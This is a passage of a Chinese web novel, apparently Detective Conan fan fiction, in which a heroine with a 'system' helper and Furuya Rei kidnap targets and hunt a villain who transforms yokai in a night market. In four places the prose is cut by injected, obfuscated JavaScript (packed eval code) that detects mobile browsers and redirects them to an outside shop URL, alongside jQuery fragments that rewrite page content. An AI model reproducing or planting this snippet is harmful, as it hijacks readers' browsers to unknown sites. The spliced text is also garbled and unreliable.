黑沼四白本人也很满意,她也是爱俏的,奈何实在懒得自己弄。 有人包揽了这些,让她不费力就能漂漂亮亮的出门,简直再好不过了。 感觉像回了家一样。 于是黑沼四白拉着降谷零的领口,踮起脚尖亲了亲他的嘴唇。 支付了给私人造型师的报酬。 “满分,不愧是零君。”黑沼四白眉眼弯弯地夸奖他,随后话音一转,“我们出门的时间是不是要到啦?” 降谷零眨眨眼做了个wink,俏皮地回道:“报告shiro大人,现在是东京时间八点五十五分,距离出门还有五分钟。” 不愧是你,时间管理大师零零。 黑沼四白对家养波本露出了肃然起敬的眼神。 一整个早上都被他安排的明明白白。 “那么,出发吧。” —— 【不会坏掉的套麻袋组合】,是一个很神奇的道具。 它甚至是仅此一份的绝版道具。 内含:超结实的各色麻袋*n,从背后一敲就晕的棒球棍*1,拿着很轻打人超痛的板砖*1。 堪称绑架神器。 目前为止黑沼四白还没有用过这个道具,之所以还留在手里的原因,是因为主系统不回收绝版道具。 降谷零十分熟练地用棒球棍击倒了银发男子,又用恶俗的粉色麻袋把他装进去,牢牢地扎紧了袋口。 黑沼四白心想:这下算是开张了吧? 此处特指道具。 004:【恭喜宿主,成功捕获黑泽阵。系统建议食用方法如下:……】 【别闹,这家伙又不是什么食材。】 黑沼四白旁观着自家零零行云流水一般的绑架行为,并对系统辛辣的发言进行了并不严厉的反驳,【虽然有点私人恩怨,但黑泽罪不至此。】 他看起来也不是很好吃的的样子。 黑沼四白没想到,这个世界的黑泽阵居然只是一个普通的社畜。 很普通的经营着一家物流会社。 于是他们很轻易地就找到了他常出没的地点。 十分顺利地抓到了今天的第一个目标。 把一坨麻袋塞进后备箱的降谷零回到驾驶座,整个人都是一副神清气爽的样子。 “大成功!这家伙也不怎么样嘛。” 他对黑沼四白扬起朝气爽朗的笑容,骄傲地像是初次捕食成功的小猫咪。 潜入组织多年的老鼠,这张脸不管看多少次都让降谷零觉得不爽。 这家伙当时可是差点就害死了shiro,还试图构陷hiro是卧底,不知给他们添了多少麻烦。 要不是shiro事先有所怀疑,加上有了那次的奇遇。 他们这个家说不定就要散在黑泽阵手上了。 想起当时的危险处境,降谷零眼中划过一抹血光,森冷的杀气转瞬即逝。 可惜了,当时事情太多,没能直接弄死那只恶心的老鼠。 幼驯染的状态变化瞒不过黑沼四白,她伸手揉了揉他手感很棒的金发,粉眸柔和地注视着他。 “没事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986152|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了哦,零,已经过去啦。” 她用降谷零最喜欢的柔软笑容,安抚着心情不虞的他,“我没事,小光也没事,我们的家还在哦。” 黑沼四白的表情很柔和,说出的话语却堪称冷酷:“没有必要迁怒呀,这个世界的人和我们没有任何关系,他们只不过是任务的一部分而已啦。” 区区工具人,连移情都没有必要。 降谷零还是第一次参与任务,熟悉的面孔难免会造成些许影响。 很早以前的黑沼四白也是一样,当时可是狠狠地在第一次任务里栽了个大跟头呢。 人之常情罢了。 黑沼四白相信,降谷零很快就会调整过来,并且诸伏景光下次来一起的时候也不会再出现这种情况。 对她这样暗含冷酷的话语,降谷零完全接受良好,连心情指数都高了不少。 “我会尽快调整好心态。” 被安抚到的降谷零捉着黑沼四白的手,亲了亲她的指尖。 启动车子,他们前往下一个目的地。 下一个目标就是这个世界的降谷零。 以及诸伏景光。 · “不过,怎么都查不到那个小男孩呢。”黑沼四白抱着降谷零的电脑,坐在副驾上查看他调查的各种资料,“莫非不在本国吗?还是说根本还没出生?” 黑沼四白倒也不是非要找到这个人,关键这个找不到的状态让她有点子好奇。 降谷零站在副驾驶的窗外摆弄着手机,时不时看一眼角落里摆着的,三个颜色各异的麻袋。 “我们找不到的话,那个所谓的宿体当然也找不到了嘛。”他有些跃跃欲试地扯了扯手套,“话说shiro,现在还剩下赤井秀一那家伙了,我们现在就去抓他吧!” 赤井秀一? 啊,是行动组的黑麦威士忌。 黑沼四白仔细回想了一会,才反应过来这人是谁来着。 先是因为想和她攀关系,被降谷零和诸伏景光针对。 又因为和黑泽阵相似度有点高,导致那之后这二人对他的仇恨值也升高了的倒霉蛋。 据说在组织里享受着独一份的水深火热待遇来着。 “他虽然是普通人,但好像是在协会下辖的行动队工作吧?可能不会太好绑。”黑沼四白回忆了一下黑麦的武力值,理智分析道。 降谷零斩钉截铁:“没关系,我会负责放倒那家伙,他可是特别擅长破坏别人计划的讨厌鬼,不控制起来可不行。” 抛下根本抛不下的个人恩怨,降谷零真心觉得赤井秀一这个不受控的家伙不控制起来的话,绝对会给他们添乱的。 这倒是事实。 以前的任务里虽然没遇到过几次,但寥寥数面就给她添了不少新工作的赤井秀一,黑沼四白使劲想想也是稍微有点印象的。 黑沼四白最终还是同意了降谷零的话,选择了捕捉赤井秀一这一选项。 她轻描淡写地说道:“没办法,为了不让他给我们添麻烦,只能请赤井君也到这里一日游了。” 降谷零满意了,迅速转身上车,把车子驶出了这间租来的仓库。 在他下车去锁仓库大门的时候,黑沼四白听见,他放在座椅上的手机传来了振动提示音。 她拿起了那部手机。 12. 怪异都市(九) 黑沼四白拿着从被害人四号手里顺过来的手机,找到协会内部近期发布的各项通知翻阅起来。 意外的没什么大事件,尽是些怪异伤人和追捕名单之类的消息。 嘛,也可能是协会标注的重大事件过于危险,就没有将消息同步给作为普通人的成员。 这也不中用啊,赤井君。 被某人迁怒,用板砖锤了满头包的被害人四号赤井秀一:…… 看了一眼天色,降谷零意犹未尽地收起了用得格外顺手的板砖,把目标四号塞进了麻袋里。 随手一丢,就把他扔进仓库和里面的三位作伴去了。 黑沼四白从副驾驶的窗户把手机递给他,请他帮忙物归原主。 今晚是个结束任务的好时机。 他们已经把宿体要找的人提前控制了起来,小松田和小萩原两人已经知道了这件事,会自己找地方避一避。 始终没有踪影的小男孩可以算作变量,无论被抓与否都不碍事。 黑沼四白针对这个孩子的状况,已经准备了至少两套方案。 那就尽快解决掉吧。 就算说的大义凛然一些,为了这几位的安全,他们也不能一直把无辜人士关在这。 引起混乱也是很麻烦的。 刚好黑沼四白也想见一见所谓的宿体,缺少血色的唇瓣轻轻勾起,她眼中划过一抹兴味。 而且,黑沼四白对于这个人精准寻找这几位的原因,稍微有点好奇。 【004,可以查询宿体定位了吗?】 004:【具体位置不能确定,有什么在为对方遮掩定位,系统只能判断大致方向。】 她点点头:【问题不大,大致有个方向就好。只要让宿体真正意义上的消失就算完成了对吧?】 004:【是的,宿体和类病毒因子的波动反应消失的下一秒,宿主和降谷先生就会立刻传送回去。】 看向不知在仓库门口鼓捣什么的降谷零,黑沼四白继续问道:【M02世界的时间没有暂停,零回去的时候怎么办?】 作为宿主的全能小助手,004当然不会忘记这一点,它信誓旦旦地保证道: 【降谷先生出发前已经身处安全屋,且两个小世界时间流速相近,回程不会出现任何形式的意外。】 【系统会绝对保护任务参与人的人身安全与精神健康,请shiro放心。】 【嗯。】黑沼四白暂时放下心来,她温声向系统道谢,【谢谢你004,你一直都是这样贴心,已经是可靠的成熟系统了呢。】 不管被宿主夸奖多少次都感觉处理器热乎乎的,004偷偷在系统空间里傻笑,整个球都变成了淡红色。 【嘿嘿,嘿嘿嘿……】 黑沼四白听着系统的笑声,不动声色地扬了扬眉角,004还是一如既往地好糊弄。 不过是几句好话而已,不痛不痒的。 她虽然不能彻底信任系统这种外物,但完全不介意和它打好关系。 因为一人一统关系不错,004偶尔会在意想不到的时候给她一个小惊喜。 也会在能力范围内给她行个方便。 对于这种稳赚不赔的买卖,黑沼四白一向很乐意花心思。 唇角弧度加深些许,她笑得愈发温和。 降谷零回到车子里,见到黑沼四白这熟悉的笑容,不由得猜测这次又是谁被她给盯上了。 不过他也没有追问的意思,shiro想说的时候自己就会说了,他又何必多此一问。 反正不管黑沼四白想做什么,他总会陪着她一起的。 和过去的许多年一样。 车子行驶在街道上,随着天色渐晚,各色灯光透过车窗映在两人脸上。 在开车前往那晚小萩原带她进去的集市入口的路上,黑沼四白突然开口问道:“说起来,零有没有什么瞒着我的小秘密?” 正在找地方停车的降谷零没有半分犹豫地回答:“当然没有了,shiro怎么会突然这样问?” 莫非有小人进他谗言?波本警觉. jpg “是吗?”黑沼四白捏着领结上的小宝石坠子把玩,笑着摇摇头,“没什么哦,只是突然袭击一下,看看零有没有偷偷背着我做坏事而已啦。” 她对上幼驯染迷茫的豆豆眼,伸手揉了揉他的金发:“如果有什么事的话,要记得先和我说一声哦,不然我会很担心的。” “遵命!shiro大人~” 降谷零笑眯眯地做了个不甚标准的敬礼手势,俨然一副从不做坏事的乖巧模样。 最好是这样,黑沼四白注视着在她面前一直温柔无害的金发青年。 她一直都知道,眼前仔细给她披上小斗篷,正认真把系带绑成完美蝴蝶结的金发青年有一副好容貌。 笑起来的时候完全可以赞上一句艳丽,冷下脸来时就变成了难以接近的凛然。 与暗面住民周旋时,则又会转为捉摸不定的诡谲。 他也一直都很会用这张脸,配合着一颗玲珑心,让不入他心的人很难窥见他内心的真实想法。 但此刻,黑沼四白觉得,降谷零的这份本领让她莫名有些不安。 她竟也无法猜到他此刻的心绪了。 是直觉在告诉她这人在背着她搞事。 就算知道降谷零不会害她,黑沼四白还是很在意心中这种没由来的不安定感。 像一颗小小的跳球,一直在她敏感的神经上蹦来跳去。 不过眼下显然不是纠结这件事的时候,他既然不愿意说,那就先放一放也未尝不可。 众多思虑只在转瞬,黑沼四白垂下的眼睫微动,将注意力转移回眼下的正事上。 垂至小腿的墨绿色裙摆在走动时轻轻摇曳,披在身上的小斗篷散发着阵阵暖意。 黑沼四白挽着身侧青年的手臂,和他一起伴着即将消失的夕阳,走向一条不起眼的小巷。 —— 喧闹的夜间集市灯火通明。 与白日里普通的人来人往的热闹景象不同,夜间的集市充满了非人的瑰丽之感。 各式在人类看来十分怪异的店铺内与摊位前都十分热闹,怪异们开始了属于他们的愉快夜晚。 放开白昼时的重重枷锁,回归本相的怪异们直接放飞了自我。 大家都不是人,也不用担心奇怪的长相和可怕的习惯会吓到脆弱的人类。 当然就是怎么开心怎么玩了。 角落里隐约能听到聚在一起的怪异们在窃窃私语: “哎,你知道吗?昨晚这边居然出现了一个人类,还是最特殊的那种。” “是啊是啊,一身的血气就直接闯进来了,好像是个女的。” “什么?!这是疯了?不想活了来找死的吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986153|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特地来这放血!” “谁知道,不过人类来这可不是什么好事。” “听说啊,当时好多人都直接追上去了。那场面叫一个热闹,好多有头有脸的大人物都失控了呢。” “协会没派人来控制吗?” “来了,不过没找到人,就又走了。” “切,协会就会搞这些形式主义。” 另一边,一个眼下又长着一双狭长眼睛的女生撇撇嘴,不以为然地说道。 “嘘!你也疯了吗?” 同伴连忙制止她,这地方说不定也有协会的耳目,说话可得小心点。 怪异本来就被看管得严格一些,被知道有怨怼的话,之后可能会被协会找茬的。 “先不要管人类的事了,最近我遇到了一个人,他说了些话叫我很在意。”被阻止的女生换了个话头,拉着同伴的手说道,“我自己拿不定主意,你来帮我分析分析。” 她拉着同伴的手臂凑近,贴着她竖起的兔子耳朵,嘀嘀咕咕地说了半晌。 几分钟后,只听同伴震惊地大喊了一声,又在身边有人看过来后迅速收声。 她压着嗓子,语速极快地问道:“那人真这么说?我们怪异的天赋能力可都是固定的,哪里就能随便多一个了?” “别是骗子吧?你亲眼见到了吗?” “见到了,那个镜鬼确实多了一个能力。”女生摸了摸眼下多生的两只眼,“我是百目鬼一族,若是能多一项能力,说不定……” 同伴捋了捋自己的兔子耳朵思考了一会,咬咬牙下定了决心:“你还能找到那人在哪里吗?我们去看看!” “能,今晚就是他来集市的日子。” “那我们这就过去探一探,要是骗子就收拾他一顿,是坏人就通知协会!” “那要是真的呢?” 同伴顿了顿,没有出声,只是默默地握紧了她的手。 她是山兔一族,除了跑得快和幸运一点之外没什么大本领,所以偶尔会被强大的怪异欺负。 古人说的好,富贵险中求。 她也想赌一把。 哪怕多出一种最普通的能力,也足够她借着这势好过一些了。 两个年轻女孩的身影在人流中并不显眼,她们肩并着肩,手挽着手。 向着更隐秘的集市深处走去。 长着兔子耳朵的女孩身后,背着同伴送给她的绿色青蛙包包,圆鼓鼓的可爱背包正随着她的走动微微摇晃。 一个闪着几不可见红光的小点,在青蛙的眼睛下方默默闪烁了几下。 · “目标7动了哦。” 黑沼四白看向降谷零递过来的手机,上面显示的定位正往集市深处移动。 她抬头和降谷零对视了一眼,不约而同地弯了弯眼尾,眼底带上了些许狡猾的意味。 广撒网还是有用处的。 这不就有一条小鱼儿跳出来了吗? 短暂地打开了一会儿分析技能,与降谷零配合着,筛选出了十个可能与宿体有过接触的人。 小道具盒子里的微型定位器,被降谷零不动声色地放置在几个目标的身上。 之后就是静静等待。 【系统,确认宿体所在区域。】 004:【与定位器移动方向一致,预计十分钟后重叠。】 黑沼四白笑了笑:“走吧。” 13. 怪异都市(十) 喧闹的集市上也有安静的角落,一间不起眼的店铺就坐落在这里。 容貌和气质与之前大有不同的两个女孩互相观察着对方的模样,感受着多出来的新能力,又哭又笑地抱住了彼此。 “恭喜你们,本次的唤醒很成功。” 坐在柜台后的年轻男人有一张看起来十分亲切的面孔,让人在看到他的第一眼就忍不住心生亲近之意。 他温和地对激动的女孩们说道:“鄙人微不足道的能力能帮到忙真是再好不过了,请二位尽情期待不再平凡的光明未来。” 温厚又带有蛊惑的话不断从他口中吐出,涉世未深的少女们看着他的眼神渐渐发生变化,最后定格为崇拜和服从的神色。 临别之时,两个女孩不断鞠躬道谢。 口中也是连连保证,会帮他找到照片上的人作为这一次的报酬。 男人保持着极具亲和力的微笑,目送她们并肩走出了店门。 直到看不见两道雀跃的背影,他脸上温和的笑意才缓缓收回。 手指摩挲着脖颈处繁复的印记,他有些忧虑地皱起眉头。 其实他有考虑过取消今天的行程。 获得能力后,第一次试验时转化的镜鬼突然失去了联系。 这让他有些不安。 但男人又心存一丝侥幸。 他的计划才刚刚开始,总不能因为一个镜鬼就陷入停滞。 那个家伙或许只是骤然得到新能力,愚蠢地沉浸在捕猎和炫耀中也说不定。 毕竟是获得能力后不到一天就登上协会的名单的下等货色,也不能对他抱有太高的期待。 于是他按照原本的计划,第二次来到集市寻找新的试验品,扩大自己的‘工具库’。 所幸这次的尝试也很顺利。 上次重点关注过的百目鬼少女不止自己来到了这里,还带了一个意料之外的小惊喜。 山兔,不算有名的小怪异。 但也聊胜于无,多实践总是好的。 可用的耗材+2,目前为止进展不错。 这只是刚刚开始,而他的时间还有很多。 接下来,只要保持这个势头继续下去,总有一天一定能…… 男人想到自己的野望,果断抛开了隐约纠缠在心间的不安。 满心期待着想象中的未来。 他按亮手机屏幕,看着上面他亲手绘制的七人肖像,扯出了一抹冷笑。 “所谓的天命之人吗?可笑。” “被天选中的人是我!这份能比肩造物主的能力被我得到,就是最有力的佐证!” “而你们几个……”男人用手指用力地点了点屏幕上的人脸,眼中燃烧着烈火般的野心,“将注定变成我的耗材,唯一的作用就是,成为我统治这个世界的踏脚石!” “哈哈哈哈哈!” 昏暗的室内响起他低沉又狂妄的笑声。 沉浸在自己世界中的男人没有注意到,柜台外侧与地毯相接的缝隙处,一点红光闪烁了一下。 只一下,那光亮便隐没了下去,与一粒普通的尘埃无异。 毫不起眼。 · 店铺的位置十分偏僻,很少有怪异会来到这边闲逛。 是以女孩们此刻脸上按捺不住的激动神色,并没有引起其它怪异的关注。 “居然是真的!” 脸上多出两道纹路的兔耳女孩至今还有些恍惚,“我感觉自己变强了不止一点,还有新的能力……” 眼下又多出两条缝隙的女孩同样神情恍惚,不自觉地抚摸着自己手背上新生的、闭合着的眼睛。 她轻声附和道:“是啊,不只是新能力,还有和返祖一般的血脉提纯。这简直是神迹!” “那位大人说这只是一个开始,将来他的能力还会有新的提升。” “所以,我们要一直为他效力才好,这样才能不断地变强。” 说着,她们对视了一眼,皆看出了对方眼中的狂热和期待。 两人不约而同地笑出了声。 就在少女们沉浸在满心的兴奋中,尽情畅想未来的时候,一道声音忽然叫住了她们。 “夜安,两位小小姐。” 她们顺着声音看过去,只见面前站着一个穿着精致洋裙的年轻女人。 她有一头罕见的白色长发,看过来的眼眸居然是犹如名贵宝石一般的粉色。 光看外表,完全看不出她是什么怪异。 哪怕同为女性,在面对她那张精致的美人面时,她们也不由自主地软下了心肠。 被打断的不悦也瞬间消失不见。 兔耳少女率先回神,收回了盯着女人看的视线,回应了她的话:“晚上好,请问您叫住我们是有什么事吗?” 年轻女人看起来好像身体不是很健康,她的脸色有些苍白,精神也不是很好的样子。 只见她怕冷似的拢了拢身上披着的墨绿色斗篷,脸上扬起一抹温软的笑来。 她轻声对她们说道:“我在寻找一位先生,他上次告诉我可以为我提供一些帮助,但我这个人有些不认路……” 听到这里,少女们瞬间反应了过来,她也是来找那位大人的。 那和她们就是同道中人了。 而且还是一位这样柔弱美丽的人。 女孩们心中瞬间充满了帮助同伴的正义感,并表示可以为她带路。 “那可真是太好了,两位小小姐真是热心的好姑娘。”她眉眼弯弯地夸赞道,面上的忐忑之意渐渐散去。 面对两位好心的少女,她有些尴尬地微红了脸颊:“不过,我还有一位同伴去找人问路了,可以和我在这里稍微等一下吗?我保证不会耽搁太久。” 试问谁能拒绝这样的温言软语呢? 反正她们不能! 她们没有犹豫地答应了下来:“当然可以!我们今晚都有空闲。” “要不要去那边坐着等一下呢?”见她的脸色愈发苍白,另一个少女用手指向拐角处放置着用来歇脚的长椅建议道。 “那真是再好不过了,实不相瞒,我确实感到有些疲惫。”她看着她们的目光柔和的不可思议,仿佛注视着重要之人一般。 女孩们被这样的目光看得有些飘飘然,陪着她走过去,一同坐在长椅上等待她的同伴。 不等她们找话题和她聊天打发时间,女人的手机忽然响了一声,两人礼貌地收声等待。 她大概是收到了同伴的讯息,语气轻快地说道:“我的同伴已经在回来的路上了,说是马上就到这边。” ‘咔哒——’ 不知何处传来一声轻响。 两个女孩看到白发女人勾起唇角看了过来,粉眸柔软得仿佛春日里的樱花海。 可那目光却并非看向她们,而是越过了她们看向身后的位置。 脖颈处骤然一痛,少女们眼前一黑。 失去意识前见到最后的景象,是一道高大的身影走到女人身边,轻轻环住了她纤细的腰肢。 和那人望过来的,森冷眼神。 —— 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986154|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“说到底,完全没有必要让我走开的吧?shiro好过分。”重新归队的降谷零抱怨道。 黑沼四白握住降谷零的手,隔着薄薄的手套捏了捏他的指尖。 “没办法嘛,零在的话,可能会引起她们不必要的警惕。”她看着眼前系统面板上显示的已清除三个字,轻声解释道,“而且我也没料到,系统居然突然发布了任务。” 按照黑沼四白的计划,他们应该在半小时前抵达宿体所在的地点。 可系统突然下发了任务,要求她先清除被宿体新转化的两个怪异身上的异常数据。 问过004之后,黑沼四白明白了任务触发的原因。 之前的镜鬼之所以没有触发任务,是因为转化时间已经超过二十四小时。 宿体扩散出的类病毒因子已经和镜鬼融为一体,无法像这样通过系统操作清除了。 但这两个女孩不同,她们才刚刚经过转化,系统和业务员可以进行干预。 清除外来影响,让她们回到之前正常的状态。 只是需要携带系统的黑沼四白与她们待在一处,待满十分钟且直线距离不能超过三米。 于是才有了这样一出临时戏剧的上演。 “好了,突发任务结束。” 黑沼四白不再关注依偎着昏迷在长椅上的两位少女,再过三分钟她们就会醒来。 也不会记得今晚发生的事。 她拉着降谷零的手离开了这个角落,声音里带上了些期待:“我们也该去见见那个宿体了。” · 再次联络镜鬼无果。 不等男人再次尝试联络,他忽然感觉到刚刚转化的百目鬼和山兔与他之间的联系断开了。 “怎么回事?”他惊疑不定地重新感知。 意识深处只有代表镜鬼的标志,新增的百目鬼和山兔标志,仿佛从未出现过一样。 男人豁然站起身,被带倒的椅子发出了一声闷响,可他没有心思去管一把椅子了。 有什么他不知道的事情发生了。 “打扰了,请问店主先生在吗?”清爽的男声从店门处传来。 男人猛地抬头看过去。 金发深肤的年轻男人站在门口看过来,俊俏的脸蛋上挂着漫不经心的笑意。 在看见金发男人的一瞬间,男人感觉全身的细胞都在对他发出警告。 对方来者不善! 而且那张脸、那张脸! “欢迎光临,鄙人就是店主。”他强装镇定地扬起温和的笑容应对道,“请问客人有什么需要的吗?” 来者不善又如何,他可是天选之人。 不过是区区耗材,竟敢送上门来。 正好让他看看,这所谓的天命之人到底有几斤几两! 那人迈着悠哉的步伐走进店内,领口的波洛领结在昏暗的灯光下也反射着华美的宝光。 金发男人扯了扯手上轻薄的黑色手套,带着笑意开口道:“听说店主先生正在找我,所以我就来了。” 男人垂在身侧的手不自觉地抽搐了两下,疑惑漫上心头。 这个男人,和他在预见中见到的那个天命之人正气凛然的模样截然不同。 甚至可以说是完全相反的类型。 而且他是从哪里知道他在找他的? 镜鬼?还是那两个女生? 不等他继续想下去。 金发男人已经走到了柜台前方,正用意味不明的目光上下打量着他。 男人脖颈间的纹路无声亮起。 14. 怪异都市(十一) 波本威士忌打量着眼前的男人。 单看这张脸的话,他不像是很有距离感的那种人,亲和力很丰沛。 忽悠一下那些脑子不清醒的蠢蛋已是足够了。 只是对波本来讲,他还不够格。 因为,眼睛。 哪怕面上装得再镇定,表现得再胸有成竹,这个人的眼神也露了怯。 一眼就能看出是在担心着什么呢。 还有些对他这个明显货不对板的人突然到访的恐惧。 对人心了解得十分透彻的高级干部眯了眯眼,在心底发出了一声嗤笑。 让shiro劳心劳力做了好些计划的家伙,竟是这种货色啊。 啧,有点亏了。 这些心思用他身上有点浪费,怎么看都是穷人乍富般拥有了特殊能力的自命不凡之辈。 不过还是要听小鸟的话行动的,不然那孩子恐怕会狠狠地闹他一通。 正如shiro所言。 这个宿体不算很重要,重要的只是他知道的情报。 “我不会做什么的,店主也不用这样警惕我吧?”波本笑得轻快又爽朗,一副他是良民的模样,“此次贸然打扰,只是因为我听说了一件有趣的事。” “宫城先生和在下进行了一些友好的交流,真是太让人意外了,那位先生居然持有我的肖像画。” 波本单手插在口袋里,笑眯眯地继续说道:“哎呀,突然被绑走还真是吓了一跳。不过我对您的目的十分感兴趣,于是在拜访之前顺手帮了您一个小忙。” “小忙?”宿体缓缓重复了一遍他的话,目露怀疑地看向他,“你指的是什么?” 他其实并不相信这个金发男人,可他接下来说出的话,却实打实地让他惊了一下。 “因为实在太想知道您想做什么了,就稍微费了点功夫,请了那张画上的几位来做客。”波本拿出手机,向他展示了一张照片。 闭着眼昏迷的三人被牢牢地绑着,随意丢在一间像是仓库的地方。 男人的瞳孔在看清照片后瞬间收紧。 初次转化的镜鬼不堪大用,找到人却被反杀,百目鬼和山兔应该也是被这个男人解决了。 宿体原本以为,今天要经历一场恶战,然后重新开始寻找耗材继续找人的麻烦事。 却万万没想到,还有意外收获凭空砸到了他头上。 天上是掉馅饼了吗? 一下子出现三个目标,还是另外一个目标亲手送到他眼前的。 哈哈,这简直是天意一样啊! 宿体——名为青田春树的男人在心里发出了畅快的大笑。 可是,这个人的目的会是什么? 总不能只是因为好奇而已,他自己也是目标之一呢,正常人不会莽成这样的吧? “你想要什么?”青田春树抬起下巴,眯着眼和金发男人对视,“我不信你只是因为好奇就把人绑了,还专程过来找我这个幕后主使。” 波本晃了晃手机,脸上的笑在昏暗的灯光照射下稍显扭曲,他漫不经心地说道:“现在的生活实在是太无聊了,直觉告诉我,您在做的事会很有趣,而我——” 他指了指自己:“只是单纯的想找个乐子罢了。” 青田春树柜台下的手短暂握紧又松开,喉结随着吞咽的动作上下动了动。 他露出了一个温和的笑:“失礼了,鄙人名叫青田春树,还没请教先生贵姓?” 总之还是要先稳住这家伙,让他把那三人交出来。 青田春树心里的算盘打得噼啪作响。 这个人能在几天里找到三个人,还能毫发无损地绑走对方。 看上去能力还算不错的样子,算是可用之人,或许也可以利用他来找到剩下的人。 这不比蠢货镜鬼有用多了? 在使用这个人的期间,他还可以多转化几个强力的怪异,这样他的力量就会快速强大起来。 至于他也是目标之一的事? 没关系,物尽其用乃是大智慧,大不了等到最后再“回收”他就是了。 青田春树在心里冷酷地决定了金发男人的结局,到了那时,他会尽量给他一个痛快些的死法。 眼角眉梢的算计都要贴到他脸上了,掩藏不好心思的蠢货。 波本不动声色地把青田春树的神色变化纳入眼中,笑弯的眼眸中闪过嘲讽的笑意。 他很有礼貌地报上姓名:“我的名字是安室透,很高兴认识您,青田先生。” 两人隔着柜台握了握手。 “安室先生真是不得了的人才,您是人类吗?”青田春树好奇地问道,“看起来并没有怪异的特征呢。” 波本谦虚地笑了笑:“您过誉了,我确实是普通的人类。” “那还真是,了不起。” 青田春树震惊又佩服地看着他,紧接着试探道,“不过,您不在意自己也是我寻找的人之一吗?就这样单枪匹马地来到了这里。” “我相信青田先生,您会是个珍惜人才的伟人,并非那等鼠目寸光的短视之辈。”波本诚恳地对他说,“我会是一个很有用的人,至少比宫城先生要得力许多。” 感觉自己被微妙的骂了一顿。 青田春树甩开了脑海中让人不悦的错觉,满脸笑容地点头,对安室透的话表示了认同。 “当然,鄙人由衷欢迎有志之士的加入,安室先生这样身具才能的人能加入鄙人一方实在是让人倍感荣幸。” 先把那三人拿到手,再想想怎么把这个安室透糊弄住。 青田春树对自己的魅力十分自信,此刻已经将安室透这个人也视为了囊中之物。 “那么作为我的诚意,青田先生要不要先去接收一下属于您的小礼物?”波本侧身,动作优雅地伸手比向门口的位置,“我的车子就停在集市外,关押的仓库离这边并不远。” “当然。” 青田春树从柜台后走了出来,他理了理衣领,意气风发地说道,“安室先生的诚意鄙人已经感受到了。您想知道的事,就让我们在这之后找一个可以安心谈话的地方,再好好聊一聊吧。” “那还,真是让人期待呢。” 波本跟在青田春树身后走向门口。 紫灰色的眼眸带着晦涩不明的意味,越过青田春树的头顶,波本扫了一眼门外的天色。 他唇角轻挑,露出一抹温柔的笑。 —— 黑沼四白把玩着手里的墨镜,小圆片的款式让她没有丝毫戴上去的欲望。 无它,这玩意丑得她心脏疼。 【这东西还是一如既往地丑。】 004干笑了两声:【哈哈,也不是非要戴在脸上才会触发道具效果啦,重要的是属性啊属性!稍微忍耐一下吧shiro!】 随手把道具【增幅墨镜】别在斗篷系带上,黑沼四白活动一下手指,感受着身体在道具生效的瞬间产生的变化。 身体素质增加20%,力量速度都在其次,重点在于由内而外的气血充沛之感。 仿佛从出生就存在的弱症是一场幻觉一般,环绕在身边无处不在的冷意瞬间消失。 可她其实并不喜欢使用这个道具。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986155|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 因为一旦体验过身体如常人般的强壮,在取下道具后再次回到那种经年累月的虚弱中时,贪婪的想法就会悄悄探出头来。 可道具终究是外物,产生依赖可不行。 和外表的柔弱不同,黑沼四白对自己的要求近乎苛刻,她不允许她的精神对任何东西产生依赖。 这一点连系统都不得不佩服她。 要知道,很多宿主都会用道具把自己全副武装起来。 那种不会被伤害到的底气十足的强大,能给他们带来无可比拟的安全感。 而shiro却完全不同。 黑沼四白毫不避讳自身的孱弱,虽然她也同样不吝啬道具的使用,但只是善用却不依赖。 这种意识上的差距,让黑沼四白从根本上就是比其他宿主强出去一截的。 这也是为什么主系统不选择捞一把更强大且在职的01-03号业务员,而是费了大功夫,直接返聘了已结束合约的黑沼四白的原因。 她是不同的,系统这样评价它的宿主。 从沙漏里取出枪械盒子,在盒盖的屏幕上选中了惯用型号的狙击枪。 黑沼四白伸出双手,枪支凭空出现,精准投放在她手中。 熟门熟路地装好消音器,确认了枪支状态,黑沼四白架好了枪。 瞄准镜里是一间普通的店铺门口。 听着耳机里传来的谈话声,黑沼四白收敛了气息,耐心地等待着。 她的枪术是诸伏景光教的。 